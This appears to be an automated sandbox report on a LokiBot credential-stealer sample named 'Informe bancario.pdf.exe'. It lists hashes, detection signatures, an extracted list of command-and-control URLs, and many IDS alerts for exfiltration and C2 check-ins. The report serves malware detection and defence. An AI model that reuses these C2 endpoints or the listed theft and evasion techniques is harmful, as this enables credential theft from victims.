Windows Analysis Report
Informe bancario.pdf.exe

Overview

General Information

Sample Name: Informe bancario.pdf.exe
Analysis ID: 651256
MD5: 603fe9a434da79407213db7d4b907789
SHA1: 812797eae86b27f54e5caadb021a4c00c31e4a7e
SHA256: 07776cc1a0981b4143d63533a5e30f2deb4f545f4d27544cda60f5d07b602593
Tags: exeLoki
Infos:

Detection

Lokibot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
Yara detected Lokibot
Multi AV Scanner detection for domain / URL
Snort IDS alert for network traffic
Tries to steal Mail credentials (via file / registry access)
Initial sample is a PE file and has a suspicious name
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Yara detected aPLib compressed binary
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to steal Mail credentials (via file registry)
Machine Learning detection for sample
Performs DNS queries to domains with low reputation
.NET source code contains potential unpacker
Yara detected Generic Downloader
C2 URLs / IPs found in malware configuration
Uses an obfuscated file name to hide its real file extension (double extension)
Tries to harvest and steal browser information (history, passwords, etc)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Yara detected Credential Stealer
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: Informe bancario.pdf.exe Virustotal: Detection: 29% Perma Link
Multi AV Scanner detection for domain / URL
Source: kossa.xyz Virustotal: Detection: 9% Perma Link
Machine Learning detection for sample
Source: Informe bancario.pdf.exe Joe Sandbox ML: detected
Source: 00000000.00000002.293340629.00000000039C4000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://kossa.xyz/esi/pp/play.php"]}
Uses 32bit PE files
Source: Informe bancario.pdf.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Informe bancario.pdf.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW, 5_2_00403D74

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.3:49741 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49741 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49741 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.3:49741 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.3:49742 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49742 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49742 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.3:49742 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49743 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49743 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49743 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49743 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49744 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49744 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49744 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49744 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49745 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49745 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49745 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49745 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49746 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49746 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49746 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49746 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49747 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49747 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49747 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49747 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49749 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49749 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49749 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49749 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49757 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49757 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49757 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49757 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49762 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49762 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49762 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49762 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49765 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49765 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49765 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49765 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49766 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49766 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49766 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49766 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49767 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49767 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49767 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49767 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49768 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49768 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49768 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49768 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49769 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49769 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49769 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49769 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49770 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49770 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49770 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49770 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49771 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49771 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49771 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49771 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49772 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49772 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49772 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49772 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49773 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49773 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49773 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49773 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49774 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49774 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49774 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49774 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49775 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49775 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49775 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49775 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49776 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49776 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49776 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49776 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49778 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49778 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49778 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49778 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49780 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49780 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49780 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49780 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49792 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49792 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49792 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49792 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49803 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49803 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49803 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49803 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49813 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49813 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49813 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49813 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49816 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49816 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49816 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49816 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49831 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49831 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49831 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49831 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49835 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49835 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49835 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49835 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49836 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49836 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49836 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49836 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49837 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49837 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49837 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49837 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49843 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49843 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49843 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49843 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49844 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49844 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49844 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49844 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49845 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49845 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49845 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49845 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49852 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49852 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49852 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49852 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49859 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49859 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49859 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49859 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49865 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49865 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49865 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49865 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49872 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49872 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49872 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49872 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49873 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49873 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49873 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49873 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49875 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49875 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49875 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49875 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49876 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49876 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49876 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49876 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49877 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49877 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49877 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49877 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49881 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49881 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49881 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49881 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49882 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49882 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49882 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49882 -> 172.67.154.72:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49883 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49883 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49883 -> 104.21.40.153:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49883 -> 104.21.40.153:80
Performs DNS queries to domains with low reputation
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe DNS query: kossa.xyz
